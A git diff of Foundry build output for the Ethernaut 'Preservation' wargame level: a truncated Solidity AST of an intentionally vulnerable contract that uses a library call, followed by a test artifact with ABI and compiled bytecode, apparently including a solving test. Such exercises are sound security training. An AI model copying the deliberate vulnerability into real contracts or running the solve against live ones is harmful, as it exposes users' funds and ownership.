memory)"}},"id":54030,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"878:77:97","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"id":54031,"nodeType":"ExpressionStatement","src":"878:77:97"}]},"functionSelector":"5bda8fa4","implemented":true,"kind":"function","modifiers":[],"name":"setSecondTime","nameLocation":"827:13:97","parameters":{"id":54020,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54019,"mutability":"mutable","name":"_timeStamp","nameLocation":"849:10:97","nodeType":"VariableDeclaration","scope":54033,"src":"841:18:97","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54018,"name":"uint256","nodeType":"ElementaryTypeName","src":"841:7:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"840:20:97"},"returnParameters":{"id":54021,"nodeType":"ParameterList","parameters":[],"src":"868:0:97"},"scope":54034,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"Preservation","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[54034],"name":"Preservation","nameLocation":"66:12:97","scope":54048,"usedErrors":[],"usedEvents":[]},{"id":54047,"nodeType":"ContractDefinition","src":"1009:158:97","nodes":[{"id":54036,"nodeType":"VariableDeclaration","src":"1066:18:97","nodes":[],"constant":false,"mutability":"mutable","name":"storedTime","nameLocation":"1074:10:97","scope":54047,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54035,"name":"uint256","nodeType":"ElementaryTypeName","src":"1066:7:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"id":54046,"nodeType":"FunctionDefinition","src":"1091:74:97","nodes":[],"body":{"id":54045,"nodeType":"Block","src":"1130:35:97","nodes":[],"statements":[{"expression":{"id":54043,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54041,"name":"storedTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54036,"src":"1140:10:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54042,"name":"_time","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54038,"src":"1153:5:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1140:18:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54044,"nodeType":"ExpressionStatement","src":"1140:18:97"}]},"functionSelector":"3beb26c4","implemented":true,"kind":"function","modifiers":[],"name":"setTime","nameLocation":"1100:7:97","parameters":{"id":54039,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54038,"mutability":"mutable","name":"_time","nameLocation":"1116:5:97","nodeType":"VariableDeclaration","scope":54046,"src":"1108:13:97","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54037,"name":"uint256","nodeType":"ElementaryTypeName","src":"1108:7:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1107:15:97"},"returnParameters":{"id":54040,"nodeType":"ParameterList","parameters":[],"src":"1130:0:97"},"scope":54047,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"LibraryContract","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[54047],"name":"LibraryContract","nameLocation":"1018:15:97","scope":54048,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":97} \ No newline at end of file diff --git a/contracts/out/Preservation.t.sol/TestPreservation.json b/contracts/out/Preservation.t.sol/TestPreservation.json new file mode 100644 index 000000000..5b2731b2a --- /dev/null +++ b/contracts/out/Preservation.t.sol/TestPreservation.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50616518806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b6a565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001bad565b620001b3620001fa36600462001c99565b62000a2b565b6200020a62000bf6565b604051620001c7919062001d6c565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001e2f565b620001da6200025736600462001efc565b62000ef8565b6200019a62001088565b6200027162001208565b604051620001c7919062001f14565b620001b36200029136600462001f7a565b620012dd565b62000237620013fc565b620002b8620002b236600462001f98565b620014f6565b6040519015158152602001620001c7565b6200027162001686565b6200019a6200175b565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620017f4565b620001da620018c8565b6200019a6200032f36600462001efc565b62001928565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762001fd4565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001fd4565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620012dd565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b10565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f919081019062002075565b9050806001825162000982919062002205565b8151811062000995576200099562001fd4565b60200260200101515f0151600281518110620009b557620009b562001fd4565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab491908101906200221b565b90505f81848560405160200162000acd9291906200226d565b60408051601f198184030181529082905262000aed92916020016200231b565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b519085906004016200234d565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9591908101906200221b565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200199c90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002361565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002361565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001bfb565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb491906200239b565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62001fd4565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b505050505f604051620011059062001b1e565b604051809103905ff0801580156200111f573d5f803e3d5ffd5b5060215460405163078f013160e51b81526001600160a01b03808416600483015292935091169063f1e02620906024015f604051808303815f87803b15801562001167575f80fd5b505af11580156200117a573d5f803e3d5ffd5b505060215460235460405163078f013160e51b81526001600160a01b0391821660048201529116925063f1e0262091506024015f604051808303815f87803b158015620011c5575f80fd5b505af1158015620011d8573d5f803e3d5ffd5b5050602054602154620012059350620011ff92506001600160a01b039182169116620014f6565b62001a3e565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200124b9062002361565b80601f0160208091040260200160405190810160405280929190818152602001828054620012799062002361565b8015620012c85780601f106200129e57610100808354040283529160200191620012c8565b820191905f5260205f20905b815481529060010190602001808311620012aa57829003601f168201915b5050505050815260200190600101906200122b565b5f80604051620012ed9062001b2b565b604051809103905ff08015801562001307573d5f803e3d5ffd5b5090505f604051620013199062001b39565b604051809103905ff08015801562001333573d5f803e3d5ffd5b508483604051620013449062001b47565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff0801580156200137e573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620013dd575f80fd5b505af1158015620013f0573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620014dd57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014895790505b505050505081525050815260200190600101906200141f565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001552575f80fd5b505af115801562001565573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620015c3575f80fd5b505af1158015620015d6573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200163a573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001663919081019062002075565b90506001815111156200167b57600191505062001680565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620016c99062002361565b80601f0160208091040260200160405190810160405280929190818152602001828054620016f79062002361565b8015620017465780601f106200171c5761010080835404028352916020019162001746565b820191905f5260205f20905b8154815290600101906020018083116200172857829003601f168201915b505050505081526020019060010190620016a9565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620017b2575f80fd5b505af1158015620017c5573d5f803e3d5ffd5b5050602054602154620017f29350620017ec92506001600160a01b039182169116620014f6565b62001abd565b565b6008545f9060ff16156200180c575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200189b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018c19190620023b9565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f620019358243620023d1565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019f39086908690600401620023e7565b5f60405180830381865afa15801562001a0e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a37919081019062002418565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001aa3575f80fd5b505afa15801562001ab6573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a8c565b6108a5806200244f83390190565b60e68062002cf483390190565b610ae58062002dda83390190565b611e7a80620038bf83390190565b610daa806200573983390190565b6001600160a01b038116811462001205575f80fd5b5f805f6060848603121562001b7d575f80fd5b833562001b8a8162001b55565b9250602084013562001b9c8162001b55565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bef5783516001600160a01b03168352928401929184019160010162001bc8565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c355762001c3562001bfb565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c675762001c6762001bfb565b604052919050565b5f67ffffffffffffffff82111562001c8b5762001c8b62001bfb565b50601f01601f191660200190565b5f6020828403121562001caa575f80fd5b813567ffffffffffffffff81111562001cc1575f80fd5b8201601f8101841362001cd2575f80fd5b803562001ce962001ce38262001c6f565b62001c3b565b81815285602083850101111562001cfe575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d3757818101518382015260200162001d1d565b50505f910152565b5f815180845262001d5881602086016020860162001d1b565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e2057603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e0957605f1988850301835262001df684865162001d3f565b948d01949350918c019160010162001dd7565b505050968901969350509087019060010162001d91565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001eee57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001ed85783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e94565b5096890196945050509086019060010162001e56565b509098975050505050505050565b5f6020828403121562001f0d575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f6d57603f1988860301845262001f5a85835162001d3f565b9450928501929085019060010162001f3b565b5092979650505050505050565b5f6020828403121562001f8b575f80fd5b813562001a378162001b55565b5f806040838503121562001faa575f80fd5b823562001fb78162001b55565b9150602083013562001fc98162001b55565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562002004576200200462001bfb565b5060051b60200190565b5f6200201e62001ce38462001c6f565b905082815283838301111562002032575f80fd5b62001a3783602083018462001d1b565b5f82601f83011262002052575f80fd5b62001a37838351602085016200200e565b8051620020708162001b55565b919050565b5f602080838503121562002087575f80fd5b825167ffffffffffffffff808211156200209f575f80fd5b818501915085601f830112620020b3575f80fd5b8151620020c462001ce38262001fe8565b81815260059190911b83018401908481019088831115620020e3575f80fd5b8585015b83811015620021e457805185811115620020ff575f80fd5b86016060818c03601f1901121562002115575f80fd5b6200211f62001c0f565b888201518781111562002130575f80fd5b8201603f81018d1362002141575f80fd5b898101516200215462001ce38262001fe8565b81815260059190911b8201604001908b8101908f83111562002174575f80fd5b6040840193505b82841015620021965783518252928c0192908c01906200217b565b8452505050604082015187811115620021ad575f80fd5b620021bd8d8b8386010162002042565b8a83015250620021d06060830162002063565b6040820152845250918601918601620020e7565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016805762001680620021f1565b5f602082840312156200222c575f80fd5b815167ffffffffffffffff81111562002243575f80fd5b8201601f8101841362002254575f80fd5b62002265848251602084016200200e565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022a681600585016020880162001d1b565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022e581600a84016020880162001d1b565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200232e81846020880162001d1b565b8351908301906200234481836020880162001d1b565b01949350505050565b602081525f62001a37602083018462001d3f565b600181811c908216806200237657607f821691505b6020821081036200239557634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023ac575f80fd5b815162001a378162001b55565b5f60208284031215620023ca575f80fd5b5051919050565b80820180821115620016805762001680620021f1565b604081525f620023fb604083018562001d3f565b82810360208401526200240f818562001d3f565b95945050505050565b5f6020828403121562002429575f80fd5b815167ffffffffffffffff81111562002440575f80fd5b62002265848285016200204256fe608060405234801561000f575f80fd5b50610019336100aa565b604051610025906100f9565b604051809103905ff08015801561003e573d5f803e3d5ffd5b50600180546001600160a01b0319166001600160a01b039290921691909117905560405161006b906100f9565b604051809103905ff080158015610084573d5f803e3d5ffd5b50600280546001600160a01b0319166001600160a01b0392909216919091179055610105565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60a28061080383390190565b6106f1806101125f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461036f565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610391565b610178565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461036f565b6101f9565b61011461028e565b61011d5f6102e7565b565b6001546002546040515f926001600160a01b039081169216906101419061034e565b6001600160a01b03928316815291166020820152604001604051809103905ff080158015610171573d5f803e3d5ffd5b5092915050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101c3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e791906103c8565b6001600160a01b031614949350505050565b61020161028e565b6001600160a01b0381166102825760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61028b816102e7565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e